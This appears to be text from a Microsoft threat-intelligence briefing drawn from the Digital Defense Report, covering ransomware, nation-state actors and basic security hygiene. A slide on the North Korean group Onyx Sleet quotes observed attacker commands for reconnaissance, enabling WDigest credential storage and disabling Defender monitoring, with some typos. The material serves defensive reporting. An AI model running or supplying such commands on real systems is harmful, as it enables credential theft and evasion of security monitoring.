Nation States v Organised Crime: Two sides of the same coin?
Microsoft Digital Defense Report:
The state of the threat landscape

Lesley Kipling
M.Sc. Forensic Computing
Chief Security Advisor
Lead Investigator
Resources supporting the data featured in the MDDR

65 trillion signals synthesized daily

That is over 750 billion signals per second, synthesized using sophisticated data analytics and AI algorithms to understand and protect against digital threats and criminal cyberactivity.

10,000+ security and threat intelligence experts

10,000+ engineers, researchers, data scientists, cybersecurity experts, threat hunters, geopolitical analysts, investigators, and frontline responders across the globe.

4,000 identity attacks blocked per second

4,000 identity authentication threats blocked per second.

15,000+ partners in our security ecosystem

15,000+ partners with specialized solutions in our security ecosystem, who increase cyber resilience for our customers.

300+ threat actors tracked

Microsoft Threat intelligence has grown to track more than 300 unique threat actors, including 160 nation-state actors, 50 ransomware groups, and hundreds of others.

100,000+ domains removed

100,000+ domains utilized by cybercriminals, including over 600 employed by nation-state threat actors, have been removed (all time).

135 million managed devices

135 million managed devices providing security and threat landscape insights.

All data is based on Microsoft fiscal year 2023 unless otherwise indicated.
Unprecedented relentless assault

- 4,000 password attacks blocked per second on average over the past year.
- 156,000 business email compromise attempts observed daily
- 1,700 DDoS attacks per day mitigated
- Tracking and monitoring 14 DDoS-for-hire sites
- 23% annual rise in the cases processed by the Microsoft Security Response Center and Security Operations Center teams.

In the time it takes you to read this sentence…

…we’ll have defended against 7,320 individual password attacks. And by the time you finish this sentence, a bot will have attempted to spoof a multi-factor authentication request.
Microsoft shifts to a new threat actor naming taxonomy | Microsoft Security Blog
October Activity overview

Microsoft Defender for Office

- Prolific adversary-in-the-middle phishing actor Storm-0485

Iranian activity group threats

- Mint Sandstorm delivers Peppermint to targets of interest
- Storm-0589 seeks access to personal data

North Korean activity group threats

- Onyx Sleet exploits vulnerable VMWare Horizon servers
- Pearl Sleet deploys Kim Jong Un visit to Russia themed lure served on OneDrive

Microsoft Threat Intelligence

Attack surface intelligence

- SharePoint Server
- Cacti
- Juniper JunOS
- JetBrains TeamCity
- WS_FTP Server
- Exim Mail Server
- Confluence

Chinese activity group threats

- Keyplug malware

Financially motivated threats

- Qakbot distributor Storm-0464 shifts to DarkGate and IcedID

Open-source intelligence

- Telecom targeting
- Remcos RAT
- Ransomware update
- Linux FDM

Russian activity group threats

- Russian threat actors and Seashell Blizzard destructive attack evolutions in Ukraine show dwindling use and sophistication
Cybercriminals are leveraging the cybercrime-as-a-service ecosystem to launch phishing, identity, and distributed denial of service (DDoS) attacks at scale. Simultaneously, they are increasingly bypassing multifactor authentication and other security measures to conduct targeted attacks.

Ransomware operators are shifting heavily toward hands-on keyboard attacks, using living-off-the-land techniques and remote encryption to conceal their tracks, and exfiltrating data to add pressure to their ransom demands. And cybercriminals are improving their ability to impersonate or compromise legitimate third parties, making it even harder for users to identify fraud until it’s too late.

Key developments

The State of Cybercrime

80-90% of all successful ransomware compromises originate through unmanaged devices.

A return on mitigation (ROM) framework is helpful for prioritization and may highlight actions requiring low effort or resources but that have a high impact.

Password based attacks spiked in 2023

70% of organizations encountering human-operated ransomware had fewer than 500 employees.

Human-operated ransomware attacks are up more than 200%

Last year marked a significant shift in cybercriminal tactics

with threat actors exploiting cloud computing resources such as virtual machines to launch DDoS attacks. When hundreds of millions of requests per second originating from tens of thousands of devices constitute an attack, the cloud is our best defense, due to the scale needed to mitigate the largest attacks.
What we’re seeing in **targeted** attack notifications

Based on the notifications shared with customers, these are the top threats identified by Microsoft Defender Experts this year:

- Successful identity attacks
- Ransomware encounters
- Targeted phishing attempts leading to device or user compromise
- Business email compromise

![Distribution of top four attack progression notifications](image)

**Telemetry sources:** Microsoft Defender for Endpoint, Microsoft Defender for Cloud Apps, Microsoft Defender for Identity, Microsoft Defender for Office 365, Azure AD Identity Protection, Microsoft Defender Threat Intelligence
After last year’s flurry of high-profile cyberattacks, nation-state cyber actors this year pivoted away from high-volume destructive attacks and instead directed the bulk of their activity toward cyber espionage. As nation-state threat actors continue to grow in number and sophistication, they have been increasingly used by governments to understand the plans of other nations, transnational bodies, and non-governmental organizations. Critical infrastructure also remains a popular target, with threat actors employing stealthier techniques to establish persistence and evade detection, as is the education sector. At the same time, some governments have used cyber-enabled influence campaigns to manipulate public opinion at home and abroad. Cyber operations are expanding globally, with increased activity in Latin America, sub-Saharan Africa, and the Middle East due to heightened Iranian activity.
A growing focus on critical infrastructure
Think tanks and government institutions were the top targets for all major nation state actors likely for intelligence collection on government policy.

Russian actors primarily affiliated with the GRU conducted the most intrusions in Europe, focused on gaining or redeveloping accesses into NATO members’ networks.

While the United Kingdom is always among the most targeted in Europe, targeting of defense industrial base and critical infrastructure from multiple state actors thrust France and Italy into the top tier this quarter.
The emerging threat posed by cyber mercenaries

Cyberspace is an increasingly contested area for conflict and strategic rivalries among states.

However, the development and maintenance of offensive cyber capabilities is costly and labor-intensive, demanding skills many countries lack or cannot maintain.
The Diamond Model

**ADVERSARY**
Bad actor/organization responsible for cyber-attack

**CAPABILITY**
Tools and techniques used by adversary to affect a cyber-attack

**INFRASTRUCTURE**
Physical or logical communication structures used by adversary to deliver a capability and effect results from the attack

**VICTIM**
Target of the adversary and against whom vulnerabilities and exposures are exploited and capabilities used

---

**INTERNET PROTOCOL (IP) ADDRESSES**
**DOMAINS**
**MERCHANT ACCOUNTS**
**IOT DEVICES**
**URLS**
**CLOUD STORAGE**
**HOP-THROUGH POINTS**

**PHONE NUMBERS**
**EMAIL ADDRESSES**
**VIRTUAL MACHINES**
**CRYPTO WALLETS**
**CRYPTO DOMAINS**
**SERVERS**
**SOCIAL MEDIA**
**OTHER**

*SOURCE: The Diamond Model of Intrusion Analysis*
Similarities of **human operated** campaigns

**Human Attack Operators**

**Flexibility** - Attacks are not pre-programmed, attack operators adjust as needed

- **Focus on Stealth**  
  Expensive and sophisticated

- **Mission Objective**  
  Focus on specific goal (often nation state objective). Selectively target critical assets and information

- **Get In**

- **Get Around**

- **Get Objective**

- **Focus on Effectiveness**  
  Cheap and Fast

- **Profit Objective**  
  Monetize by selling access back to rightful owner. Target any critical asset and information

**Human Operated Espionage**

**Human Operated Ransomware**
• **Opportunistic ransomware** and extortion operations in addition to credential-gathering campaigns likely in support of espionage

• Industrial Spy to Underground ransomware

• June 2023: Phishing campaign delivering the SignJoin backdoor

• **Targeted defense and government entities** in Europe and North America with lures related to the Ukrainian World Congress

• Emails led to exploitation via the CVE-2023-36884 zero-day vulnerability

---

**Storm-0978 attacks reveal financial and espionage motives**

*Microsoft Security Blog*
What is the optimal ransomware resiliency state?

The foundational five

1. Modern authentication with phish-resistant credentials
2. Least privileged access applied to the entire technology stack
3. Threat-and-risk-free environments
4. Posture management for compliance and the health of devices, services, and assets
5. Automatic cloud backup and file-syncing for user and business-critical data

Ransomware attackers are motivated by easy profits, so adding to their cost via security hardening is key in disrupting the cybercriminal economy.
October 2022, Log4j vulnerability was exploited in the Apache Tomcat engine to gain initial access to VMWare Horizon servers.

Onyx Sleet took advantage of opportunistic targets from the Log4j vulnerability with the intent of returning for further operations.

The actor used these compromised servers to conduct discovery and reconnaissance activities.

Onyx Sleet has also shown interest in taking advantage of online gambling websites. This could represent an auxiliary motive for financial gain, either on behalf of the operator or its sponsor.

**Discovery commands captured in info.dat**
```
cmd.exe /c del ..\broker\webapps\portal\info.dat & arp -a > info.txt & sconfig.shl > info.txt & netstat-na | tnsstr LISTENING >> info.txt & net user >> info.txt & netstat -a >> info.txt & trshlist >> info.txt & systemshp >> info.txt & move info.txt ..\broker\webapps\portal\info.dat
```

**Regadd command to store credentials**
```
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest /v UseElevatedCredential /t REG_DWORD /d 1
```

**PowerShell command to stop Defender monitoring**
```
powershell -Command Set-WebPreference -DisableRealtimeMonitoring $true
```

**Procdump.gif from C2 IP to deliver proc.exe**
```
```
How can we protect against 99% of attacks?

While we explore many dimensions of the cyber threat landscape in this report, there is one crucial point we must emphasize across all: the vast majority of successful cyberattacks could be thwarted by implementing a few fundamental security hygiene practices.

By adhering to these minimum-security standards, it is possible to protect against over 99 percent of attacks:

1. **Enable multifactor authentication (MFA):** This protects against compromised user passwords and helps to provide extra resilience for identities.

2. **Apply Zero Trust principles:** The cornerstone of any resilience plan is to limit the impact of an attack on an organization. These principles are:
   - Explicitly verify. Ensure users and devices are in a good state before allowing access to resources.

3. **Use extended detection and response (XDR) and antimalware:** Implement software to detect and automatically block attacks and provide insights to the security operations software. Monitoring insights from threat detection systems is essential to being able to respond to threats in a timely fashion.

4. **Keep up to date:** Unpatched and out-of-date systems are a key reason many organizations fall victim to an attack. Ensure all systems are kept up to date including firmware, the operating system, and applications.

5. **Protect data:** Knowing your important data, where it is located, and whether the right defenses are implemented is crucial to implementing the appropriate protection.

Hyperscale cloud makes it easier to implement fundamental security practices by either enabling them by default or abstracting the need for customers to implement them. With software as a service (SaaS) and platform as a service (PaaS) solutions, the cloud provider takes responsibility for keeping up with patch management. Implementing security solutions like MFA or Zero Trust principles is simpler with hyperscale cloud because these capabilities are already built into the platform. Additionally, cloud-enabled capabilities like Extended Detection and Response (XDR) and MFA are constantly updated with trillions of daily signals, providing dynamic protection that adjusts to the current threat landscape.

**Fundamentals of cyber hygiene**

- Basic security hygiene still protects against 99% of attacks.

*How effective is MFA at deterring cyberattacks? A recent study based on real-world attack data from Microsoft Entra found that MFA reduces the risk of compromise by 99.2 percent.*

*Source: https://arxiv.org/abs/2305.00945*
Defending new vectors: Threat actors attempt SQL Server to cloud lateral movement

Microsoft security researchers recently identified an attack where attackers attempted to move laterally to a cloud environment through a SQL Server instance. The attackers initially exploited a SQL injection vulnerability in an application within the target's environment to gain access and elevated permissions to a Microsoft SQL Server instance deployed in an Azure Virtual Machine.

Uncursing the ncurses: Memory corruption vulnerabilities found in library

A set of memory corruption vulnerabilities in the ncurses library could have allowed attackers to chain the vulnerabilities to elevate privileges and run code in the targeted program's context or perform other malicious actions.

Microsoft's Response to Open-Source Vulnerabilities - CVE-2023-4863 and CVE-2023-5217

Microsoft is aware and has released patches associated with the two Open-Source Software security vulnerabilities, CVE-2023-4863 and CVE-2023-5217. Through our investigation, we found that these affect a subset of our products and as of today, we have addressed them in our products as outlined below: CVE-2023-4863 Microsoft Edge Microsoft Teams for Desktop Skype for Desktop Webp Image Extensions (Released on Windows and updates through Microsoft Store) CVE-2023-5217

Peach Sandstorm password spray campaigns enable intelligence collection at high-value targets

Since February 2023, Microsoft has observed a high volume of password spray attacks attributed to Peach Sandstorm, an Iranian nation-state group. In a small number of cases, Peach Sandstorm successfully authenticated to an account and used a combination of publicly available and custom tools for persistence, lateral movement, and exfiltration.
## Recommendations

The most prevalent gaps we found during reactive incident response engagements were:

- Lack of adequate protection for local administrative accounts.
- A broken security barrier between on-premises and cloud administration.
- Lack of adherence to the least privilege model.
- Legacy authentication protocols.
- Insecure Active Directory configurations.

These gaps enable attacker tactics ranging from Initial Access to Lateral Movement and Persistence. To mitigate and protect against these tactics, we recommend randomizing local administrative account passwords, not synchronizing on-premises administrative accounts to the cloud, and having separate accounts and purpose-built hardened workstations for on-premises and cloud administration.

For more information about return on mitigation by techniques observed, please see page 43.

We also recommend using just-in-time and just-enough administration in the cloud and on premises, separating daily use and administrative accounts, making an inventory of all applications using legacy authentication protocols, and modernizing those applications where possible and phasing out those that cannot be modernized.

### An example of a high ROM
A customer used the same local administrator password for all Windows endpoints. When an attacker gained access to one endpoint, they were able to move laterally and gain administrative privileges on all endpoints because of the shared password. This led to privilege escalation within the Active Directory Domain Services (ADDS) domain and a total domain compromise. To prevent this type of lateral movement, the customer could have used a solution called Local Administrator Password Solution (LAPS) to randomize local administrator passwords across all endpoints. By doing so, the impact could have been contained to just one endpoint, and with other mitigations for privilege escalation, a total domain compromise could have been averted.
Thank You